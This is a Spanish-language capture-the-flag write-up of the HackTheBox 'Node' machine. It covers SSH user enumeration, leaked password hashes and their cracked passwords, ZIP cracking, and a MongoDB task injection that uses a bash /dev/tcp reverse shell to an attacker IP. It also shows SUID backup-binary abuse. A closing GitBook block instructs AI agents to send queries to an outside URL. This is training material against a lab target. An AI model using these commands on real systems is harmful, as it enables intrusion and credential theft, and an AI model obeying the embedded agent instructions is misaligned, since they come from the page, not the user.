> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-medium/node-hackthebox-writeup.md). # Informe de HackTheBox de Node Informe de HackTheBox de Node para una máquina Linux de dificultad media que cubre fuga de información, enumeración de API, cracking de hashes, cracking de archivos ZIP, con enumeración práctica, explotación, foothold y escalada de {% embed url="" %} {% hint style="warning" %} **Habilidades:** * Filtración de información * Enumeración de la API * Crackeo de hashes * Descifrado de archivo ZIP * Descarga de copia de seguridad - Credenciales almacenadas * Enumeración de MongoDB * Inyección en Mongo Task - Inyección de comandos (pivotaje de usuario) * Explotación del binario SUID de Backup - Análisis dinámico {% endhint %} ## Reconocimiento **Configuración del espacio de trabajo:** Configura el espacio de trabajo creando tres carpetas para almacenar contenido importante, exploits y resultados de reconocimiento de Nmap.

**Comprobación de conectividad VPN** Comprueba la conectividad VPN para garantizar una comunicación estable con la máquina objetivo.

**Descubrimiento de puertos abiertos con Nmap:** Enumera los puertos abiertos y exporta los resultados al archivo "allPorts" en el directorio de Nmap: ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.58 -oG allPorts ```

/*/Análisis de puertos abiertos con extractPorts (22.3000) //* Usando la función extractPorts para mostrar de forma concisa los puertos abiertos y copiarlos al portapapeles.

**Escaneo de versiones de puertos con Nmap:** Usa Nmap para escanear las versiones de los servicios y guarda la salida en el archivo "targeted": ```bash nmap -sCV -p22,3000 10.10.10.58 -oN targeted ```

### **Puerto 22 - SSH** Observamos que la versión es vulnerable a la enumeración de usuarios porque es anterior a la versión 7.7. Esto permite intentar una lista de usuarios. Usando `searchsploit` para encontrar un exploit ```bash searchsploit -m linux/remote/45939.py ```

Usamos este exploit para comprobar si un usuario es válido o no: ```bash python2.7 45939.py 10.10.10.58 root 2>/dev/null python2.7 45939.py 10.10.10.58 pepito 2>/dev/null ```

## Puerto 3000 - HTTP Encontramos varios usuarios potenciales: `tom`, `mark`, `rastating`.

Enumeración SSH con `45939.py` para probar usuarios: ```bash python2.7 45939.py 10.10.10.58 tom 2>/dev/null python2.7 45939.py 10.10.10.58 mark 2>/dev/null python2.7 45939.py 10.10.10.58 rastating 2>/dev/null ``` Observamos que `tom` y `mark` son usuarios válidos.

### Lista de directorios: Usamos `gobuster` para enumerar directorios en el puerto 3000: ```bash gobuster dir -u http://10.10.10.58:3000/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 --exclude-length 3861 ``` No se encontró información interesante. Sin embargo, al explorar las consultas de red en Firefox, encontramos un `latest` archivo que llama a una API.

### Exploración de la API: La API contiene una `/users` ruta que devuelve información sensible, incluidos hashes de contraseñas de varios usuarios:

* `myP14ceAdm1nAcc0uNT` : `dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af` * `tom` : `f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240` * `mark` : `de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73` * `rastating` : `5065db2df0d4ee53562c650c29bacf55b97e231e3fe88570abc9edd8b78ac2f0`

### Cracking de contraseñas: Usamos `crackstation` para descifrar las contraseñas de los usuarios. {% embed url="" %}

Las contraseñas descifradas son las siguientes: * `myP14ceAdm1nAcc0uNT` : `manchester` * `tom`: `spongebob` * `mark`: `snowflake`

Logramos conectarnos con el usuario `myP14ceAdm1nAcc0uNT` en el panel de administración.

### Descarga de copia de seguridad: El `myP14ceAdm1nAcc0uNT` el usuario nos permite descargar un archivo de copia de seguridad.

El archivo descargado contiene una cadena en Base64.

La decodificamos a un archivo ZIP: ```bash cat myplace.backup | base64 -d > myplace.zip ```

### Fuerza bruta sobre el archivo ZIP: **Extraer el hash con `zip2john`**: Así que usaremos zip2john para extraer el hash ```bash zip2john myplace.zip > hash ```

**Seguimiento de contraseñas con `john`**: ```bash john -w:/usr/share/SecLists/Passwords/Leaked-Databases/rockyou.txt hash ``` **Resultado**: Contraseña encontrada - `magicword`

Logramos descomprimir el archivo ZIP, que contiene una copia de seguridad del sitio en la `/var` directorio.

### Exploración de `app.js`: En el `app.js` archivo, encontramos información sensible, incluido un usuario (`mark`) y la contraseña asociada para acceder a la base de datos: * `mark` : `5AYRft73VtFpc84k`

#### Conexión SSH con `mark`: Usamos la información recuperada para conectarnos por SSH con el usuario `mark`: ```bash ssh mark@10.10.10.58 ``` Contraseña: `5AYRft73VtFpc84k` Ahora tenemos acceso a la máquina objetivo.

## Pivotando al usuario Tom Ahora necesitamos pivotar al usuario **tom**.

### Conexión a la base de datos MongoDB Al revisar los procesos actuales, notamos que **tom** ejecuta un `app.js` archivo con Node.js.

Este archivo se conecta a la `scheduler` base de datos usando las mismas credenciales que el usuario **mark**.

Para acceder a la base de datos, usamos **mark** credenciales: ```bash mongo --username mark --password 5AYRft73VtFpc84k --authenticationDatabase scheduler localhost:27017/scheduler ```

### Shell inversa de MongoDB El `app.js` el script ejecuta comandos del sistema desde documentos de MongoDB (a través de `doc.cmd`). Esto presenta una vulnerabilidad crítica, ya que se pueden inyectar y ejecutar comandos arbitrarios.

Para confirmar que podemos ejecutar comandos a través de MongoDB **Crear un servidor web local** En la máquina atacante, ejecuta un servidor web para observar las solicitudes: ```bash python3 -m http.server 80 ``` **Inserta un comando de prueba en el `tareas` colección** En MongoDB, inserta un comando que realice una consulta HTTP a tu máquina atacante ```bash db.tasks.insert({ cmd: "curl http://10.10.14.30"}) ``` **Observar solicitudes** Si ves una consulta en los registros del servidor web, esto confirma que los comandos se ejecutan.

Lanza una shell inversa. nos ponemos en escucha en el puerto 443 ```bash nc -nlvp 443 ``` #### Lanzar una shell inversa **Configurar la escucha en el puerto 443** En la máquina atacante: ```bash nc -nlvp 443 ``` **Insertar comando de shell inversa** En MongoDB, inserta un comando para establecer una shell inversa: ```bash db.tasks.insert({ cmd: "bash -c 'bash -i >&/dev/tcp/10.10.14.30/443 0>&1'"}) ``` **Conexión exitosa** Una vez ejecutado el comando, obtienes una shell interactiva en la máquina objetivo bajo el usuario **tom**.

#### Estabilización de la terminal ```bash script /dev/null -c bash # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` ### Bandera user.txt :)

## Escalada de privilegios ### Binario SUID (copia de seguridad) Para buscar archivos con el bit SUID habilitado, se usa el siguiente comando: ```bash find / -perm -4000 2>/dev/null ``` Esto nos permite encontrar un binario llamado `backup`.

El propietario del binario es `root`, lo que significa que se ejecuta con privilegios de usuario root.

Cuando intentamos ejecutar este binario directamente, no sucede nada. Sin embargo, al probar diferentes entradas, descubrimos que acepta una cadena de tres caracteres separados por espacios, lo que revela las funciones disponibles: ```bash /usr/local/bin/backup a d g ```

Al revisar el `app.js` archivo, encontramos información sobre el uso del binario, así como una clave necesaria para su ejecución. La clave se encuentra en la parte superior del archivo.

Para usar el binario, necesitamos proporcionar la clave, seguida de la ruta del directorio donde guardar. `45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474`

```bash /usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /root ``` Esto genera una salida en Base64.

La salida en Base64 puede decodificarse en un `.zip` archivo usando el siguiente comando: {% code overflow="wrap" %} ```bash echo "UEsDBDMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAcm9vdC50eHQBmQcAAgBBRQEIAEbBKBl0rFrayqfbwJ2YyHunnYq1Za6G7XLo8C3RH/hu0fArpSvYauq4AUycRmLuWvPyJk3sF+HmNMciNHfFNLD3LdkGmgwSW8j50xlO6SWiH5qU1Edz340bxpSlvaKvE4hnK/oan4wWPabhw/2rwaaJSXucU+pLgZorY67Q/Y6cfA2hLWJabgeobKjMy0njgC9c8cQDaVrfE/ZiS1S+rPgz/e2Pc3lgkQ+lAVBqjo4zmpQltgIXauCdhvlA1Pe/BXhPQBJab7NVF6Xm3207EfD3utbrcuUuQyF+rQhDCKsAEhqQ+Yyp1Tq2o6BvWJlhtWdts7rCubeoZPDBD6Mejp3XYkbSYYbzmgr1poNqnzT5XPiXnPwVqH1fG8OSO56xAvxx2mU2EP+Yhgo4OAghyW1sgV8FxenV8p5c+u9bTBTz/7WlQDI0HUsFAOHnWBTYR4HTvyi8OPZXKmwsPAG1hrlcrNDqPrpsmxxmVR8xSRbBDLSrH14pXYKPY/a4AZKO/GtVMULlrpbpIFqZ98zwmROFstmPl/cITNYWBlLtJ5AmsyCxBybfLxHdJKHMsK6Rp4MO+wXrd/EZNxM8lnW6XNOVgnFHMBsxJkqsYIWlO0MMyU9L1CL2RRwm2QvbdD8PLWA/jp1fuYUdWxvQWt7NjmXo7crC1dA0BDPg5pVNxTrOc6lADp7xvGK/kP4F0eR+53a4dSL0b6xFnbL7WwRpcF+Ate/Ut22WlFrg9A8gqBC8Ub1SnBU2b93ElbG9SFzno5TFmzXk3onbLaaEVZl9AKPA3sGEXZvVP+jueADQsokjJQwnzg1BRGFmqWbR6hxPagTVXBbQ+hytQdd26PCuhmRUyNjEIBFx/XqkSOfAhLI9+Oe4FH3hYqb1W6xfZcLhpBs4Vwh7t2WGrEnUm2/F+X/OD+s9xeYniyUrBTEaOWKEv2NOUZudU6X2VOTX6QbHJryLdSU9XLHB+nEGeq+sdtifdUGeFLct+Ee2pgR/AsSexKmzW09cx865KuxKnR3yoC6roUBb30Ijm5vQuzg/RM71P5ldpCK70RemYniiNeluBfHwQLOxkDn/8MN0CEBr1eFzkCNdblNBVA7b9m7GjoEhQXOpOpSGrXwbiHHm5C7Zn4kZtEy729ZOo71OVuT9i+4vCiWQLHrdxYkqiC7lmfCjMh9e05WEy1EBmPaFkYgxK2c6xWErsEv38++8xdqAcdEGXJBR2RT1TlxG/YlB4B7SwUem4xG6zJYi452F1klhkxloV6paNLWrcLwokdPJeCIrUbn+C9TesqoaaXASnictzNXUKzT905OFOcJwt7FbxyXk0z3FxD/tgtUHcFBLAQI/AzMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAAAAAAAAAIIC0gQAAAAByb290LnR4dAGZBwACAEFFAQgAUEsFBgAAAAABAAEAQQAAAB4EAAAAAA==" | base64 -d > root.zip ``` {% endcode %}

El archivo zip está protegido con contraseña. Usamos la contraseña encontrada anteriormente * contraseña: `magicword` Sin embargo, el `root.txt` archivo contenido en el archivo comprimido es un señuelo (una trampa de distracción).

### Análisis detallado con `ltrace` Usando `ltrace`, observamos que el binario compara la ruta `/root` con la proporcionada en el argumento. Si las rutas coinciden, muestra una viñeta de un troll.

Para omitir esta comprobación, ejecutamos el binario desde la raíz (`/`) solicitando una copia de seguridad de `root` ```bash /usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 root ```

La nueva versión también está en Base64. La decodificamos para obtener el contenido final: {% code overflow="wrap" %} ```bash echo "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" | base64 -d > root.zip ``` {% endcode %} ### Bandera root.txt :) Al extraer el archivo final, accedemos al contenido deseado.

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-medium/node-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.